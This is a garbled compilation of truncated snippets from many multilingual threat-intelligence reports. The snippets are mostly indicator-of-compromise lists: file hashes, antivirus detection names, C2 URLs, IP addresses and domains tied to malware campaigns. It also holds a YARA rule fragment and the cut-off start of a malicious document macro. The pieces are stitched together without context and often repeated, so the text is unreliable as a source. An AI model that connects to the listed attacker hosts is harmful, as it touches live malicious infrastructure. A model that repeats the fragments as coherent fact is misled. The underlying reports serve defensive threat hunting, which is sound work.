추가적으로 확인하실 수…","…(2024.03.29.00) Downloader/PowerShell.Agent.SC197158 (2024.02.26.03) Keylogger/PowerShell.Agent.SC197159 (2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d Gain access to related IOCs and detailed analysis by…","…a free demo . Indicators of Compromise Stage 2 Mach-Os SHA1 Arch Lang 0df7e1d3b3d54336d986574441778c827ff84bf2 FAT objc 27b101707b958139c32388eb4fd79fcd133ed880 ARM objc 338af1d91b846f2238d5a518f951050f90693488 ARM objc 5304031dc990790a26184b05b3019b2c5fa7022a FAT swift…","…f3487a1324f4c11b35504751a5527bc60eb95382 b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb 27b134af30f4a86f177db2f2555fe01d 188754814b37927badc988b45b7c7f7d6b4c8dd3 c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02…","…)로 서명된 파일들에서는 악성코드가 발견되지 않았다. 악성코드에 서명된 인증서는 다른 파일 서명에 사용되지 않고 악성코드 2개 파일 서명에만 사용되어 실제 Nexaweb 사의 인증서인지 문의했지만 아직 답변을 못 받았다. MD5 27d4ff7439694041ef86233c2b804e1f 73d2899aade924476e58addf26254c2e aa8936431f7bc0fabb0b9efb6ea153f9 Tags: certificate CertificateLeak desktop.ini HTTPSpy 인증서…","…We have contacted Nexaweb to verify if the certificate is actually theirs, but we have not yet received a response. MD5 27d4ff7439694041ef86233c2b804e1f 73d2899aade924476e58addf26254c2e aa8936431f7bc0fabb0b9efb6ea153f9 Tags: certificate CertificateLeak desktop.ini HTTPSpy 인증서…","…064d696a93a3790bd3a1b8b76baaeef3 1e7d604fadd7d481dfadb66b9313865d 1f1a3fe0a31bd0b17bc63967de0ccc29 202a7eec39951e1c0b1c9d0a2e24a4c4 27db56964e7583e19643bf5c98fffd52 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(2024.01.12.02) MD5 013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd URL…","…its C2 channel Indicators of Compromise Indicator Type Description 9e75705b4930f50502bcbd740fc3ece1 MD5 Initial installer 27ef6917fe32685fdf9b755eb8e97565 MD5 Initial installer 7b6d02a459fdaa4caa1a5bf741c4bd42 MD5 Initial installer 7457dc037c4a5f3713d9243a0dfb1a2c MD5 TrollAgent DLL…","…Threat Detection System, Qianxin NGSOC, and Qianxin Threat Perception, support accurate detection of such attacks. 七、IOC MD5 27ef6917fe32685fdf9b755eb8e97565 7457dc037c4a5f3713d9243a0dfb1a2c 7b6d02a459fdaa4caa1a5bf741c4bd42 88f183304b99c897aacfa321d58e1840 19c2decfa7271fa30e48d4750c1d18c1 c8…","…[행위 진단] DefenseEvasion/DETECT.T1059.M11294 DefenseEvasion/DETECT.T1059.M11295 MD5 0eb8db3cbde470407f942fd63afe42b8 27f74072d6268b5d96d73107c560d852 2d444b6f72c8327d1d155faa2cca7fd7 URL http://75.119.136.207/config/bases/config.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석…","…[Behavior Detection] DefenseEvasion/DETECT.T1059.M11294 DefenseEvasion/DETECT.T1059.M11295 MD5 0eb8db3cbde470407f942fd63afe42b8 27f74072d6268b5d96d73107c560d852 2d444b6f72c8327d1d155faa2cca7fd7 URL http://75.119.136.207/config/bases/config.php Gain access to related IOCs and…","…(2023.07.12.03) – Trojan/Win.Loader.C5452411 (2023.07.12.03) Behavior Detection – InitialAccess/MDP.Event.M4242 MD5 280152dfeb6d3123789138c0a396f30d d0572a2dd4da042f1c64b542e24549d9 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…SHA256 Malware delivery February 2025 28116e434e35f76400dc473ada97aeae9b93ca5bcc2a86bd1002f6824f3c9537 SHA256 Malware delivery February 2025…","…- http://www.hulu.com/watch/559035/episode3.mp4 \"Evil New Year\" Campaign: Maldoc sha256: 281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919 Dropped #1: 95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a Dropped #2:…","…2364f22dfe4d2018619cfba2b510f290 24b12630d402e4ce40d05e0623e56933 26642b9800192440621a70383595dea2 28210832c13d806e87cb8f1449cf8c5f 28fb9e179c3aac449b7e4d760f6b8b7d 2a100b8de6099b06449e3084b689c32d 2e36880877f32eac56ae4502ad057b2e…","…(GUI) x86-64, for MS Windows MD5 db590ea77a92ae6435e2ec954d065ed4 SHA1 ef0c0ef95b1542184a6a1f4d1f4ece583046ba0a SHA256 284bc471647f951c79e3e333b2b19aa37f84cc39b55441a82e2a5f7319131fac SHA512…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2015-10-26 02:49:15-04:00 Import Hash 286a6d2c70e3abce9178b4dde553be1e PE Sections MD5 Name Raw Size Entropy f99d1ddfaa147735453ba03902858bdd header 4096 0.707250…","…Type Value SHA-256 aeebcd8c8b15645d7e71b68ac05e21e9a4c94f832c64044725d870b87b9573c7 MD5 447557d5236f1b97be0314b317ca9fff SHA-1 28978e987bc59e75ca22562924eab93355cf679e Imphash 655221b6bcad7b5b0b9766142cbc257a Rich Hash 3be2401da21dfed104c9aa52bb620344 SSDEEP…","…IoC (Indicator of Compromise) MD5 c681fe3f42e82e9240afe97c23971cbc d44a22d2c969988a65c7d927e22364c8 28d0143718153bf04c1919a26bb70c2d 36be2cbb59cd1c3f745d5f80f9aee21c C2 japanroom.com 38.32.68.195 222.122.49.15…","…24b12630d402e4ce40d05e0623e56933 26642b9800192440621a70383595dea2 28210832c13d806e87cb8f1449cf8c5f 28fb9e179c3aac449b7e4d760f6b8b7d 2a100b8de6099b06449e3084b689c32d 2e36880877f32eac56ae4502ad057b2e 2f407d8e3dee54e0c4f776e5db55ae86…","…Team T5, Inc. APT Threat Landscape in Japan 2020 Indicators of Compromise 08eaef6be41244bce8fdc908bee03ec7549197f4fcd7dd0da90a5c14f67e4c4b 2926b7faaac641086e979ee8a6de747ed3afcc184a44fa3d621919f19780b2ad 09e90c178870e72860401300a91a5a12ae84b0bdb639d7d08fc2\u001f09706460f2 88.198.101.58 SHA256 SHA256 SHA256 C2 DES_Loader csdev WMI Indicator Type…","…458641936e2b41c425161a9b892d2aa08d1de2bc0db446f214b5f87a6a506432 8a4fbcdec5c08e6324e3142f8b8c41da5b8e714b9398c425c47189f17a51d07b 293b1a7e923be0f554ec44c87c0981c9b5cf0f20c3ad89d767f366afb0c1f24a PowerShell scripts 6bf8a19deb443bde013678f3ff83ab9db4ddc47838cd9d00935888e00b30cee6…","…Jun2021.\" reference = \"https://otx.alienvault.com/pulse/294acafed42c6a4f546486636b4859c074e53d74be049df99932804be048f42c\" SHA256 = \"294acafed42c6a4f546486636b4859c074e53d74be049df99932804be048f42c\" strings: $a1 = \"ZSBydW4gaW4gRE9TIG1vZGUuDQ0KJA\" ascii //run in DOS mode.…","…EtherRAT HTA script \"shep.hta\" File 294c597c89023093e1e175949f5104f887b89cd8e1cf1d3192ee9032739f259e EtherRAT MSI loader File 5623f4f8942872b2b7cb6d2674c126a42bdf6ed5d1f37c1afc348529e4697d73…","…CAF6739D50366E18C855E2206A86F64DA90EC1CDF3E309AEB18AC22C6E28DC65 3Proxy 2963a90eb9e499258a67d8231a3124021b42e6c70dacd3aab36746e51e3ce37e PuTTY plink 2AA1BBBE47F04627A8EA4E8718AD21F0D50ADF6A32BA4E6133EE46CE2CD13780…","…DB9A6EFD5D64BA0BA1783C51B6D430873518FA032BF5265C6837C7674321E183 4 SHA-256: 296599DF29F4FFA9BF753FF9440032D912969D0BAB6E3208AB88B350F9A83605 5 SHA-256: B200B34F29EA4B9B6965D7B696D07AC7E72BCE49E19E3893817BBD9F15544FFE 12 REFERENCES [1]…","…of Indicators of Compromise and samples can be found in our GitHub repository. SHA-1 Filename Detection Description 296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A A user‑mode module that operates with the kernel memory.…","…Address omski00@outlook.com Threat Actor Email Address Host Indicators Type Indicator Description SHA256 297292d46d4f11fc801f5d6d01251735698a8419aa3196db7b3aa7bb8ea85cad A_Century_Long_Peace_Architecture_for_Russia-Ukraine_Introduction.pdf.lnk SHA256…","…6e1ce18cb9065bf0ea91fc5c2817e941 7c22515a47e94581cc7b62b88a205808 8efee9143c9bc4dc3cd8cf2ef5a87656 29b0a6b9608540b9446c0fb14a36f0b0 99ee7852b8041a540fdb74b3784d0409 C2 62.113.118.157 192.109.119.113 185.231.154.22 93.183.93.185…","…MD5 d5669c046c78f54d2acb353626bb3bcf ec6842538f6166462d498279b8a462b3 29b0a6b9608540b9446c0fb14a36f0b0 SHA-256…","…Size 156672 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 86685ec8c3c717aa2a9702e2c9dec379 SHA1 29ddf9baad018518060814a03d424f4e08a0e914 SHA256 c2f150dbe9a8efb72dc46416ca29acdbae6fd4a2af16b27f153eaabd4772a2a1 SHA512…","…(2023.11.16.01) – Trojan/Win32.RL_Mimikatz.R366782 (2021.02.18.01) 행위 진단 – CredentialAceess/MDP.Mimikatz.M4367 MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…(2023.11.16.01) – Trojan/Win32.RL_Mimikatz.R366782 (2021.02.18.01) Behavior Detection – CredentialAceess/MDP.Mimikatz.M4367 MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…Last Modified Date (KST) 2019-02-22 17:09 Last Modified Name JamFedura C2 http://192.186.142.74/post/Yluhi0.hta MD5 29fbf69e72c0daac57d2cbba11bbfaa5 File Name xCryptoCrash_Schedule.doc Last Modified Date (KST) 2019-02-25 02:26 Last Modified Name JamFedura…","…26642b9800192440621a70383595dea2 28210832c13d806e87cb8f1449cf8c5f 28fb9e179c3aac449b7e4d760f6b8b7d 2a100b8de6099b06449e3084b689c32d 2e36880877f32eac56ae4502ad057b2e 2f407d8e3dee54e0c4f776e5db55ae86 324352a61a343969a93386466d232684…","…SHA256 Malware delivery February 2025 2a13f273d85dc2322e05e2edfaec7d367116366d1a375b8e9863189a05a5cec5 SHA256 Malware delivery February 2025 Previous Blog Post Next Blog Post…","…9eacbf 12ee511259f7f03e8472efa8baf3e250b64f8da65fe71212cedfdac887f503f4 159b20e19c43ff6a8ba906d23596d5d138efa94aa38b611ee36a3f4da813278c 2a25d42130837560fcff1e1e19264f05784bf9e9db6464afb15d7e26f7f4a433 2b8a31c6a2a70ad4b5c593400731b418b91b0d55c48158a8a024420792268328 2c523736994639172ee7375a8e1392081f699ae0cc397015e1cad47ce44cfded 2c7a76…","…E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C DC72D464289102CAAF47EC318B6110ED6AF7E5E4 9F7B4004018229FAD8489B17F60AADB3281D6177 2A2839F69EC1BA74853B11F8A8505F7086F1C07A 8EDB488B5F280490102241B56F1A8A71EBEEF8E3 Code signing certificate serial numbers 00B7F19B13DE9BEE8A52FF365CED6F67FA…","…90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1ae2e46aac55e7f92c72b56b387bc945 2a388f3428a6d44a66f5cb0b210379a0 C2…","…⚫ 21bc39f1fa632b5348003d3beec0bc50 ⚫ 23357052f05e2060c4109e2d7fe5f00a ⚫ 258928e7ceb61f13390b73c774c52934 ⚫ 2a3977663278e761036243cfb16ee0c4 ⚫ 3f694a68ff9a26feb38e6eb6d3c1e5a6 ⚫ 77cbe2c9c957110841405691ba438322 ⚫ 8b36d639de339149612222f3bc28fd60 ⚫…","…주요 침해 지표 (Indicator of Compromise) ● MD5 2A40543F5B4B8CC1F4BD8993DF44708E 92A18B9AC4945B444466B9950CB83E10 ADE57773E415DB6265815DF636AA83E9 EC146031EDFE94B2965D32B384A4B54F F32653EC5E26AD7DA610DFC194FB66BA 1E…","…⚫ fe00578715e667c204a66c93c7611559 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 325768e41af749183e1ad9a260910af3 ⚫ 2a4fe005442bea4ddcae0595099e8f3d ⚫ 22133c0f18e3382b31a81390b3a8ba4c ⚫ b20e27a003b0c43dfcd71111d5ed45f6 ⚫ 766f5ae486770ea0d59ed46569e694c6 ⚫…","…0a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59c328cd766f6ec0c9141bca7da6b807 5bec2687fd743d23331cd54c987b44de URL…","…with the file's submission. b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 Tags trojan Details Name 2A791769AA73AC757F210F8546125B57 Size 110592 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 2a791769aa73ac757f210f8546125b57 SHA1…","…25aae473109d 1876e829b675e86e950f2e701ab9b2c4a56b4817 8edcd1d8d390d61587d334f4527e569a5bdf915c 57d60872a6239449116c9c609838906cec923ef5 2a900fbfdd65dafe6fadc4d5706e151c8b72230a Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…3Proxy 2963a90eb9e499258a67d8231a3124021b42e6c70dacd3aab36746e51e3ce37e PuTTY plink 2AA1BBBE47F04627A8EA4E8718AD21F0D50ADF6A32BA4E6133EE46CE2CD13780 5A73FDD0C4D0DEEA80FA13121503B477597761D82CF2CFB0E9D8DF469357E3F8 Adfind…","…013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd URL…","…0d8ceb7dea7d471afa2f8e753b13d2d6 1f378c0efc13669dada1fe340c6837bd 2669731cb5ff664dfb5fbfc37637876d 2ab3df4762fbde5d86e99a1ad147850e 2e76d5316663a3dc472398b1c01cb9a8 2eb77109cce1e8afca6245c2963e52a6 302725413076d1aeaee2d7f2b3692646…","…Type zlib compressed data MD5 6588d262529dc372c400bef8478c2eec SHA1 06d9f835efd1c05323f6a3abdf66e6be334e47c4 SHA256 2ab58b7ce583402bf4cbc90bee643ba5f9503461f91574845264d4f7e3ccb390 SHA512…","…Indicators of Compromise (IOCs) UnionCryptoTrader.dmg – Trojan ( 0001140e1 ) Hash: 2ab58b7ce583402bf4cbc90bee643ba5f9503461f91574845264d4f7e3ccb390 Facebook 0 Twitter 0 Linkedin 0 X Like what you're reading? Subscribe to our top stories.…","…No hashes were provided, but Mandiant’s YARA rule, named TAXHAUL, also triggers on other samples already on VirusTotal: SHA-1: 2ACC6F1D4656978F4D503929B8C804530D7E7CF6 ( ualapi.dll ), SHA-1: DCEF83D8EE080B54DC54759C59F955E73D67AA65 ( wlbsctrl.dll ) The filenames, but not MD5s, of these samples…","…e96157d3b82008c5e3142a57584678cb G3892.tmp 99f9419d756729bc97d687f845d77783 zzG.zip 83972.tmp 2af6fb5bc3137eb297c6560e267d8193 G3892.tmp 9f1c9fc7aa773e7a86a79180c42887e1 zzJG_2.zip 83972.tmp 5fca1117c0e5ee6de3c169eebc903227…","…153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82 2b15e4289a3eb8e4eb8c2343895002dde7f5b2791e3c799b4f869be0aa85d2e8 410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710 4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416…","…118784 bytes Type PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5 c4141ee8e9594511f528862519480d36 SHA1 2b22d9c673d031dfd07986906184e1d31908cea1 SHA256 129b8825eaf61dcc2321aad7b84632233fa4bbc7e24bdf123b507157353930f0 SHA512…","…Threat Alliance . Indicators of Compromise SHA256 Hashes 243ad5458706e5c836f8eb88a9f67e136f1fa76ed44868217dc995a8c7d07bf7 2b254ae6690c9e37fa7d249e8578ee27393e47db1913816b4982867584be713a f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 99e2ebf8cec6a0cea57e591ac1ca56dd5d505c2c3fc8f4c3da8fb8ad49f1527e…","…f5e46e18facc6f8fde6658b96dcd379b82cc6ae2e676fb47f08cbeccd307b1b4 578689cb4b06c4d3f1850e4379c4b31f49170749c66b9576e1088f59fc891da2 2b2583019d83e657c219dd6510060f98ead8679e913d63c7f2ed5c52c0c2bb35 37feb1d71c6458f71b27dc1ba7cb4366ee30f9ae75b0322775fa70b8753eac27 a1f6ae788bf3f9ae17893f3b12d557f69b17fdb4f030ed5e5f66dbb6d2cc9d78 01e740…","MoonPeak v1 0b8897103135d92b89a83093f00d1da845a1eae63da7b57f638bab48a779808e 2b35ef3080dcc13e2d907f681443f3fc3eda832ae66b0458ca5c97050f849306 4108c5096a62c0a6664eed781c39bb042eb0adf166fcc5d64d7c89139d525d4f 44e492d5b9c48c1df7ef5e0fe9a732f271234219d8377cf909a431a386759555…","…Hash-MD5 246c2781b88f58bc6b0da24ec71dd028 Hash-MD5 b7f7ad4970506e8547e0f493c80ba441 Hash-MD5 2b4e8612d9f8cdcf520a8b2e42779ffa Hash-MD5 c61256583c6569ac13a136bfd440ca09 Hash-MD5 31dab68b11824153b4c975399df0354f Hash-MD5…","…can be found online. The file contains the properties as seen in Table 2: MD5 42fbea771f3e0ff04ac0a1d09db2a45e SHA1 2b6b6f24f58072a02f03fa04deaccce04b6bb43b SHA256 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd File Type PE32 executable (GUI) Intel 80386, for MS…","…메일 수신 시 발신인을 반드시 확인하고 첨부 파일 실행 시 각별히 주의해야 한다. [파일 진단] Trojan/CHM.Agent (2023.03.08.03) Dropper/LNK.Agent (2023.02.28.00) MD5 2b79e2bd6548118c942480a52b5a1669 809528921de39530de59e3793d74af98 b39182a535f41699280ca088eef0f258 URL…","…f503f4 159b20e19c43ff6a8ba906d23596d5d138efa94aa38b611ee36a3f4da813278c 2a25d42130837560fcff1e1e19264f05784bf9e9db6464afb15d7e26f7f4a433 2b8a31c6a2a70ad4b5c593400731b418b91b0d55c48158a8a024420792268328 2c523736994639172ee7375a8e1392081f699ae0cc397015e1cad47ce44cfded 2c7a76c85a182bf4045afe2180d1d845ddbfca6044995f2273c77cbeb1e42f8a 38368a…","…3f8016bafb700595490b732b92f8501201f0c9af 01f3a22bf3e409154e79e067370ed98a 2ba653faef17d9ea623be1138f6f420be27c95d8ad7ee1ea0d15ae718895176d bf8f0b845c8f13b4386b7204add3c5d2e504b4c6 4d1e16e2b914243e0c63017676956a73…","…VHDX 5 disk images embedding malicious LNK files, even though Microsoft has fixed [58] the Mark of the Web bypass. 2 SHA-256: 2BC366EB7759C0C7DEF2B74C2E16CEB399698250D2BE07B5317C5F4E33806E46 3 SHA-256: DB9A6EFD5D64BA0BA1783C51B6D430873518FA032BF5265C6837C7674321E183 4 SHA-256:…","…SHA-256 8e0eb0d36bfd4e28ec6a10acccf899740df7048451229b84715e475e3c91347b 2bfa1aaf1b6d52fcd7e120d74ba982cb848463fd9d4abb749945a3e620863353 SHA1 fd02470c6cc4ceb5fad3589d02e5148a8c738b83 7e47d1bc13d7016a9d8eb59a97d19e3766fbfd54 URL…","…MD5 0eb6090397c74327cd4d47819f724953 C2 filer1.1apps.com File Name 젠트리온 지갑 관련자료.doc (BlueSky) MD5 2bfbf8ce47585aa86b1ab90ff109fd57 C2 filer2.1apps.com 한국어를 구사하는 대표적인 APT 위협 그룹 중에 하나인 'Konni' 조직은 아직도 베일에 쌓여있습니다.…","…MD5 0eb6090397c74327cd4d47819f724953 C2 filer1.1apps.com File Name 젠트리온 지갑 관련자료.doc (BlueSky) MD5 2bfbf8ce47585aa86b1ab90ff109fd57 C2 filer2.1apps.com Sub Document_Open() Dim nResult As Long Dim sCmdLine As String With…","…분석 요약 MD5 00dfce9ad207f77397dbbb6791d64a9e 1d475427100ad95edca070d75fa3b267 2c0fbdb97439e079bbd8919c39598508 36d2be6eb548aee37852f7fbf38dcf30 3b76316810d61e114015af617c5d0408 FQDN websecuritynotices.com IP 104.167.16.97…","…logger (pdpaste) 9dddf5a1d32e3ba7cc27f1006a843bfd4bc34fa8a149bcc522f27bda8e95db14 Proxymini tool, opensource SOCKS proxy tool 2c164237de4d5904a66c71843529e37cea5418cdcbc993278329806d97a336a5 Themida-packed Quasar Table 7: SHA256 hashes of tools used by the actor YARA rules import \"pe\" rule Lazarus_DPAPILoader_Hunting {…","…13278c 2a25d42130837560fcff1e1e19264f05784bf9e9db6464afb15d7e26f7f4a433 2b8a31c6a2a70ad4b5c593400731b418b91b0d55c48158a8a024420792268328 2c523736994639172ee7375a8e1392081f699ae0cc397015e1cad47ce44cfded 2c7a76c85a182bf4045afe2180d1d845ddbfca6044995f2273c77cbeb1e42f8a 38368ada36a1d98bbc55408e26a2219ec60e0e53c8d34d67fd010af574f84e5a 48ba9d…","…(2021.02.18.01) 행위 진단 – CredentialAceess/MDP.Mimikatz.M4367 MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…(2021.02.18.01) Behavior Detection – CredentialAceess/MDP.Mimikatz.M4367 MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…f4a433 2b8a31c6a2a70ad4b5c593400731b418b91b0d55c48158a8a024420792268328 2c523736994639172ee7375a8e1392081f699ae0cc397015e1cad47ce44cfded 2c7a76c85a182bf4045afe2180d1d845ddbfca6044995f2273c77cbeb1e42f8a 38368ada36a1d98bbc55408e26a2219ec60e0e53c8d34d67fd010af574f84e5a 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe 493aad…","…Size 167937 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 d2de01858417fa3b580b3a95857847d5 SHA1 2c879a1d4b6334c59ac5f11c2038d273d334befe SHA256 aab2868a6ebc6bdee5bd12104191db9fc1950b30bcf96eab99801624651e77b6 SHA512…","…(PebbleDash) 23 MD5 a573b15586e4313832f269b162a04514 (PebbleDash) 24 MD5 2c98bfc9f76352c82dc57edd98dce9a8 (PebbleDash) 25 C2…","…MD5 SHA1 SHA256 Malicious ICO File 848bc8e5917db1f735029fc51952002d ffccc3a29d1582989430e9b6c6d2bff1e3a3bb14 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f MD5 SHA1 SHA256 Malicious ICO File…","…Hash-SHA256 2372862afaa8e8720bc46f93cb27a9b12646a7cbc952cc732b8f5df7aebb2450 Hash-SHA256 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d Hash-SHA256 3ecc7b1ee872b45b534c9132c72d3523d2a1576ffd5763fd3c23afa79cf1f5f9 Hash-SHA256…","…MD5 0eb8db3cbde470407f942fd63afe42b8 27f74072d6268b5d96d73107c560d852 2d444b6f72c8327d1d155faa2cca7fd7 URL http://75.119.136.207/config/bases/config.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…MD5 0eb8db3cbde470407f942fd63afe42b8 27f74072d6268b5d96d73107c560d852 2d444b6f72c8327d1d155faa2cca7fd7 URL http://75.119.136.207/config/bases/config.php Gain access to related IOCs and detailed analysis by subscribing to…","…Name mega.exe.exe Size 83968 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 2d92116440edef4190279a043af6794b SHA1 eb2eb432445b3dcf6483e7d5f670acb94a8bab70 SHA256 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c SHA512…","…02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9 URL http://5.61.59.53:2086/ https://onessearth.online/up/upload_dotm.php https://powsecme.co/up/upload_dotm.php…","…02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9 URL http://5.61.59.53:2086/ https://onessearth.online/up/upload_dotm.php https://powsecme.co/up/upload_dotm.php To…","…1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976 2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f 32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f…","…f463b1cf8d6dd8004edf047b4dea3c4e283f0ffb fcbe52f671d2f20b292c3057320d89a9 2e068beb40f8901b698d4fc2f5766564c8324d5ba95fb0a0ffa841f5da5c7e72 178b11323f921c0216bedefdd575a9c5a055b9fa 98e94d7be1d59c17f6bcf3ce09661f83…","…IoC (Indicator of Compromise) MD5 148405ff05bf15a6a053e4e7c1795d40 2e1b0ac49313873a0e0b982c591a5264 7dc50e8af0070e544bff5299405cd3b9 61f65bd593ea0e52ac0dfdc6bc9cd73a 461ade40b800ae80a40985594e1ac236…","…CN=ES-Computing Issuer thawte SHA256 Code Signing CA Serial Number 13F8F43FFAFEAD5F5EA8C0D259C2D0E6 Thumbprint(SHA1) 2E1DD779B28F86B5766C08245B86E37E9C5E4937 Thumbprint(SHA256) 76C71C03440826ADF26F4C35C36B97343ADCFF6A48188393EDD375F9A7289F14 유효기간 2019-02-14 ~ 2020-05-15(만료)…","…Execution/MDP.Ngrok.M4615 MD5 09a5069c9cc87af39bbb6356af2c1a36 11465d02b0d7231730f3c4202b0400b8 235e02eba12286e74e886b6c99e46fb7 2e325935b2d1d0a82e63ff2876482956 375f1cc32b6493662a78720c7d905bc3 URL…","…28210832c13d806e87cb8f1449cf8c5f 28fb9e179c3aac449b7e4d760f6b8b7d 2a100b8de6099b06449e3084b689c32d 2e36880877f32eac56ae4502ad057b2e 2f407d8e3dee54e0c4f776e5db55ae86 324352a61a343969a93386466d232684 337edcca9ef27cfe1a76f4cffa676026…","…// package.json MD5:4d7d3dfd3d99727f450ee0883e9f60e2 // stager_mac.sh MD5:38614d05a905eab3a0885b637bfbb8e8 // stager_nix.sh MD5:2e3fdb5b8befdb9b48cb1a5468dfc164 // stager_win.ps1 MD5:b42652763f78183cf779811dc2cb13bb // vscode-bootstrap.ps1 MD5:d8cc49f56265ca137a73a275379704fa //…","…Name delps.scienceontheweb.net safeblog.o-r.kr MD5 1e05449bccfeb965985c356f3ea88787 3c79940610603c0420aa3bf904ff92bf SHA-256 2e40620da710d81d4d1d95d1694aa823bdf25ad8e62662243dcf538c48f9b07d c19df37c6d819dae3cc2628940bd3524195e3c4357685b6797b0a0917d3927e7 SHA1…","…MD5 Initial installer 7457dc037c4a5f3713d9243a0dfb1a2c MD5 TrollAgent DLL c8e7b0d3b6afa22e801cacaf16b37355 MD5 TrollAgent DLL 2e5f2a154e1b67cd0d6a2f6b5feb6de7 MD5 TrollAgent DLL 045f28a479ba19a95c0407a663e2f188 MD5 TrollAgent DLL a67cf9add2905c11f5c466bc01d554b0 MD5 TrollAgent DLL…","…1f378c0efc13669dada1fe340c6837bd 2669731cb5ff664dfb5fbfc37637876d 2ab3df4762fbde5d86e99a1ad147850e 2e76d5316663a3dc472398b1c01cb9a8 2eb77109cce1e8afca6245c2963e52a6 302725413076d1aeaee2d7f2b3692646 30792a0c0dfad55fb2b19d3e30e9a7d4…","…loads and decodes the final implant into the memory with the GUID name which is used to remote access the infected machine. SHA256 2e8d2525a523b0a47a22a1e9cc9219d6526840d8b819d40d24046b17db8ea3fb Imphash 52ff8adb6e941e2ce41fd038063c5e0e Rich PE Hash ff102ff1ac1c891d1f5be7294035d19e Filetype PE32+ DLL Compile Timestamp…","…(2025.01.31.02) MD5 04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f IP 216.219.87.41 74.50.94.175 AhnLab TIP 를 구독하시면…","…(2025.01.31.02) MD5 04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f IP 216.219.87.41 74.50.94.175 Gain access to…","…2669731cb5ff664dfb5fbfc37637876d 2ab3df4762fbde5d86e99a1ad147850e 2e76d5316663a3dc472398b1c01cb9a8 2eb77109cce1e8afca6245c2963e52a6 302725413076d1aeaee2d7f2b3692646 30792a0c0dfad55fb2b19d3e30e9a7d4 30d5f17d5e3f85be18220a7cab0b9fff…","…Watering Hole Attack Cases ⚫ 2ebf18038e0c81297915a734ba020ff6 ⚫ 3c9fd3716f87fb633af92b1fc93680a6 ⚫ 46dbd03cbdebea6375403955520461bf 